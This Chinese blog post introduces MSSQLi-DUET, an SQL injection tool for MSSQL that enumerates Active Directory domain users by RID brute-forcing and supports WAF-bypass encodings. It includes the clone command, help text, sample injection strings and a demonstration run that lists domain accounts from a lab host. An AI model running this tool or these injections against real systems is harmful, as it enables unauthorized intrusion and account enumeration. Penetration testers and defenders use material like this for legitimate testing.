MSSQLi-DUET:一款针对MSSQL的SQL注入工具
作者:admin | 时间:2020-7-21 20:55:10 | 分类:黑客工具 隐藏侧边栏展开侧边栏
MSSQLi-DUET
MSSQLi-DUET是一款针对MSSQL数据库的SQL注入脚本,它能够利用RID爆破技术来从一个活动目录环境中提取出域用户信息。该工具支持各种Web应用防火墙绕过技术,并且实现了SQLMap Temper功能。除此之外,广大研究人员还可以根据自己的需求以及目标环境来单独使用其中的Temper功能。
该工具有两种使用方式,一种是直接以Python脚本的方式在命令行终端中使用,另一种就是以Burp Suite插件的形式使用,这种方法可以使用简单的GUI导航。
当前版本的MSSQLi-DUET仅支持基于Union的注入方式,之后我们会进行大量测试来保证其他注入技术的稳定性和准确性。
工具下载
广大研究人员可以使用下列命令将MSSQLi-DUET项目源码克隆至本地:
git clone https://github.com/Keramas/mssqli-duet.git
工具使用
Burp Suite插件使用
在将插件上传至Burp Suite中之后,右键点击一个请求,然后选择将其发送给MSSQLi-DUET。随后,更多的相关参数和详细信息都将显示给用户
请求将会填充请求窗口,点击运行输出之后,我们就可以直接查看到输出结果了:
Python脚本使用
脚本帮助信息:
python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
[-o OUTFILE] -r REQUEST_FILE
MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool
optional arguments:
-h, --help show this help message and exit
-i INJECTION, --injection INJECTION
Injection point. Provide only the data needed to
escape the query.
-e ENCODING, --encoding ENCODING
Type of encoding: unicode, doubleencode, unmagicquotes
-t TIME_DELAY, --time_delay TIME_DELAY
Time delay for requests.
-rid RID_RANGE, --rid_range RID_RANGE
Hypenated range of RIDs to bruteforce. Ex: 1000-1200
-ssl SSL, --ssl SSL Add flag for HTTPS
-p PARAMETER, --parameter PARAMETER
Vulnerable parameter
-proxy PROXY, --proxy PROXY
Proxy connection string. Ex: 127.0.0.1:8080
-o OUTFILE, --outfile OUTFILE
Outfile for username enumeration results.
-r REQUEST_FILE, --request_file REQUEST_FILE
Raw request file saved from Burp
Prepare to be enumerated!
如何使用?
当你在一个目标应用程序中成功识别出了一个基于Uion注入的注入点,你就可以直接使用Burp Suite的“copy to file”功能来获取到请求元数据了。
使用-r选项将存储的请求信息发送给MSSQLi-DUET,并指定漏洞参数和注入点信息。比如说,如果漏洞参数为“element”,注入类型为SQL注入,那么-p参数值就是“element”,MSSQLi-DUET将会自动构建SQL注入查询。演示样例如下:
Ex: test'
test'))
test")"
工具使用样例
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] Collected request data:
Target URL = http://192.168.11.22/search2.php?element=carbon
Method = GET
Content-Type = applcation/x-www-form-urlencoded
[+] Determining the number of columns in the table...
[!] Number of columns is 3
[+] Determining column type...
[!] Column type is null
[+] Discovering domain name...
[+] Domain = NEUTRINO
[+] Discovering domain SID...
S-1-5-21-4142252318-1896537706-4233180933-
[+] Enumerating Active Directory via SIDs...
NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql
注意事项
在我们的使用过程中,可能需要研究人员根据目标数据库的列类型以及其他限制来对脚本代码进行自定义修改。
项目地址
MSSQLi-DUET:【GitHub传送门】